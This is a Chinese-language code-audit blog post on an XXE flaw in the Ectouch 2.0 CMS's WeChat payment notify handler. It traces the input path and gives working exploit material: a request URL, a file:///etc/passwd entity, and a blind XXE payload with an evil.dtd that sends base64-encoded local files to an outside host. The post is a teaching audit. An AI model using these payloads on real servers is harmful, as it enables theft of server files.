Ectouch2.0 分析代码审计流程 (五) xxe漏洞

 

0x1 前言

​ 不知不觉这个文章写到了第五篇,我感觉我写文章的热情有所下降了,对一些漏洞的说明也没有再从新手角度出发,其实我感觉要是一步一步看着文章过来,其实你就会发现这些东西真的没必要多讲。不过我却发现,可以多从漏洞层面进行下原理的讲解,let us start。

 

0x2 xxe漏洞是什么?

​ 这里推荐水泡泡师傅的一篇文章:xxe漏洞的学习与利用总结,这里我简单概括下:

1.漏洞产生的位置: 解析xml格式类型文档的时候

2.漏洞的成因:文档可以引用外部实体

3.漏洞的危害:

(1)读取任意文件(常用是这个)

(2)探测内网端口

(3)攻击内网网站

 

0x3 需要的xxe基础知识

(一)XML格式

主要由xml声明、文档类型定义(DTD)(重点关注下这个)、文档元素组成

<?xml version="1.0"?> <!-- XML声明 -->
<!DOCTYPE poem[ <!-- 文档类型定义 -->
    <!ELEMENT poem (author,title,content)>
    <!ELEMENT author (#PCDATA)>
    <!ELEMENT title (#PCDATA)>
    <!ELEMENT content (#PCDATA)>
]>
<poem> <!-- 文档元素 -->
    <author>小七</author>
    <title>xxe漏洞</title>
    <content>xxe很easy</content>
</poem>

上面那个是内部DTD,因为文档定义和文档元素写在了一个文件上

那么何为外部DTD呢

了解下文档定义语法:

同文件夹下:

poem.dtd:

    <!ELEMENT poem (author,title,content)>
    <!ELEMENT author (#PCDATA)>
    <!ELEMENT title (#PCDATA)> 
    <!ELEMENT content (#PCDATA)>
<?xml version="1.0"?> <!-- XML声明 -->
<!DOCTYPE poem SYSTEM "poem.dtd"> <!-- 外部DTD 对比上面发现多了system 然后替换了[]的内容-->
<poem> <!-- 文档元素 -->
    <author>小七</author>
    <title>xxe漏洞</title>
    <content>xxe很easy</content>
</poem>

何为实体? 简单理解就是变量,然后在xml文档去使用

例子:
<!ENTITY writer "xq17"> <!-- 内部实体声明语法 -->
<author>&writer</author>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd" > <!-- 外部实体声明语法 -->
]>
<root>
    <name>&xxe;</name> <!-- 这样就可以导致任意文件读取并且回显  -->
</root>

参考文章:XML文件详解以及解析

 

0x4 漏洞挖掘思路

搜索关键词 simplexml_load_string,然后再回溯分析

 

0x5 wxpay.php XXE漏洞

​ 由(3)可知:

image-20190121003144949

这是个支付插件,首先要去后台开启下微信支付

image-20190121003355842

点击确定后,就可以让我们来跟进wxpay.php文件了解下漏洞成因

  */
    public function notify($data)
    {
        $inputdata = file_get_contents("php://input"); //这里数据可控
        if (!empty($inputdata)) {
            $payment = model('Payment')->get_payment($data['code']);
            $postdata = json_decode(json_encode(simplexml_load_string($inputdata, 'SimpleXMLElement', LIBXML_NOCDATA)), true);//这里把可控数据传入了simplexml_load_string
            /* 检查插件文件是否存在,如果存在则验证支付是否成功,否则则返回失败信息 */
            // 微信端签名
            $wxsign = $postdata['sign'];
            unset($postdata['sign']);

然后寻找那里调用了notify函数,全局搜索该函数(限定为php)文件

image-20190121084404988

选择跟进看是如何调用的:

upload/mobile/include/apps/default/controllers/RespondController.class.php

    public function index()
    {
        /* 判断是否启用 */
        $condition['pay_code'] = $this->data['code'];
        $condition['enabled'] = 1;
        $enabled = $this->model->table('payment')->where($condition)->count();
        if ($enabled == 0) {
            $msg = L('pay_disabled');
        } else {
            // 微信h5中间页面
            if (isset($_GET['style']) && $this->data['code'] == 'wxpay' && $_GET['style'] == 'wxh5') {
                $log_id = intval($_GET['log_id']);
                $url = url('respond/wxh5', array('code' => 'wxpay', 'log_id' => $log_id));
                $this->redirect($url);
            }

            $plugin_file = ADDONS_PATH.'payment/' . $this->data['code'] . '.php';
            if (file_exists($plugin_file)) {
                include_once($plugin_file);
                $payobj = new $this->data['code']();
                // 处理异步请求
                if($this->data['type'] == 'notify'){//需要满足条件
                    @$payobj->notify($this->data);//在这里调用
                }
                $msg = (@$payobj->callback($this->data)) ? L('pay_success') : L('pay_fail');
            } else {
                $msg = L('pay_not_exist');
            }
        }

很显然最靠近需要满足的条件是if($this->data['type'] == 'notify')

所以看看data数组能不能被控制

直接拉到最上面看类的定义

class RespondController extends CommonController
{

    private $data;

    public function __construct()
    {
        parent::__construct();
        // 获取参数
        $this->data = array(
            'code' => I('get.code'),//可控
            'type' => I('get.type')//可控
        );
    }

很明显可以控制进入到漏洞流程

然后中间就是一些满足条件了

        $condition['pay_code'] = $this->data['code']; 
        $condition['enabled'] = 1;
        $enabled = $this->model->table('payment')->where($condition)->count();
        if ($enabled == 0) {//判断支付方式是不是开启,设置支付方式为微信就可以了
            $msg = L('pay_disabled');
        } else {
            // 微信h5中间页面
            if (isset($_GET['style']) && $this->data['code'] == 'wxpay' && $_GET['style'] == 'wxh5') {//style!=wxh5就可以绕过了
                $log_id = intval($_GET['log_id']);
                $url = url('respond/wxh5', array('code' => 'wxpay', 'log_id' => $log_id));
                $this->redirect($url);
            }

            $plugin_file = ADDONS_PATH.'payment/' . $this->data['code'] . '.php';
            if (file_exists($plugin_file)) {
                include_once($plugin_file);
                $payobj = new $this->data['code']();

大概流程已经出来了,下面分析下漏洞利用,首先说明下这里没有回显,是个blind类型的xxe

 

0x6 漏洞演示

image-20190121090758656

为了方便演示,这里加了一句输出,xml解析的数据,来帮助我们进行漏洞验证,也不需要开启外部服务。

由上面分析构造出url:

http://127.0.0.1:8888/ecshop/upload2/upload/mobile/?m=default&c=Respond&a=index&code=wxpay&type=notify&style=xxx

然后post:

<?xml version="1.0"?> 
<!DOCTYPE foo [
<!ENTITY xxe "xxe test">
]>
<root><name>&xxe;</name></root>

image-20190121092548569

很明显解析了实体引用,又因为

没有设置libxml_disable_entity_loader(true);,导致可以外部引用。

关于如何利用blind xxe盲注,可以看我下面面所讲,然后自己操作一遍。

 

0x7 blind xxe利用原理

原理分析:

​ 利用参数实体获取到文件内容,然后带着内容走http协议去访问我们的接收端

一些小知识:

定义参数实体的语法:

<!ENTITY % name content>

xxx.xml

<!ENTITY % all "<!ENTITY send SYSTEM 'http://xxx/x.php?hs=%hs;'>">

Payload

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY % hs SYSTEM "file:///C:/1.txt"> <!-- 加载文件赋值给参数实体hs -->
    <!ENTITY % remote SYSTEM "http://xxx/xxx.xml">  
    %remote; <!-- 引入xml文件的实体定义 -->
    %all; 
]>
<root>&send;</root>

其实等价:

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY % hs SYSTEM "file:///C:/1.txt"> <!-- 加载文件赋值给参数实体hs -->
    <!ENTITY send SYSTEM 'http://xxx/x.php?hs=%hs;'> <!-- 引用了上面的参数实体 -->
]>
<root>&send;</root>

但是xml解析器不支持在实体的定义在引用参数实体,所以我们做了个跳转,规避了错误

(命名实体+外部实体+参数实体写法)执行顺序是

参数实体写法->外部实体->命名实体->&调用发起请求

具体利用:

evil.dtd:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://ham.exeye.io/?%file;'>">

payload:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/123.txt">
<!ENTITY % remote SYSTEM "https://ham.exeye.io/evil.dtd">
%remote;
%all;
]>
<root>&send;</root>

image-20190121121319727

image-20190121121331962

参考文章:

XML与xxe注入基础知识

 

0x8 关于xxe在php的见解

>xxe漏洞跟php版本无关,主要是libxml的扩展,libxml2.9之后默认不使用外部实体,需要加第三个
>
>`LIBXML_NOENT`参数才能利用
>
>当然解析xml还有其他方式,`simplexml_load_string`只是很常用的而已,只要是涉及解析xml的地方都可能存在,`
>
>比如`DOMDocument` 、`SimpleXMLElement`类等等。

本机默认环境PHP Version 5.5.38 libxml是安装2.8.0版的,所以是可以利用的。

 

0x9 感想

​ 感觉这个cms漏洞挖的差不多了,之前看了下文件包含,没找到点,反序列化还没看过,不过我感觉变量覆盖、反序列化是中间环节不算漏洞,构造出攻击链才算漏洞,这也是很有意思的审计点,不过万事不能强求,Ectouch好歹也是电商网站又不是给我们写bug来学习代码审计的,后面如果没找到什么有趣的漏洞,为了这个系列完整性我也会去审计一些有其他漏洞的cms。

(完)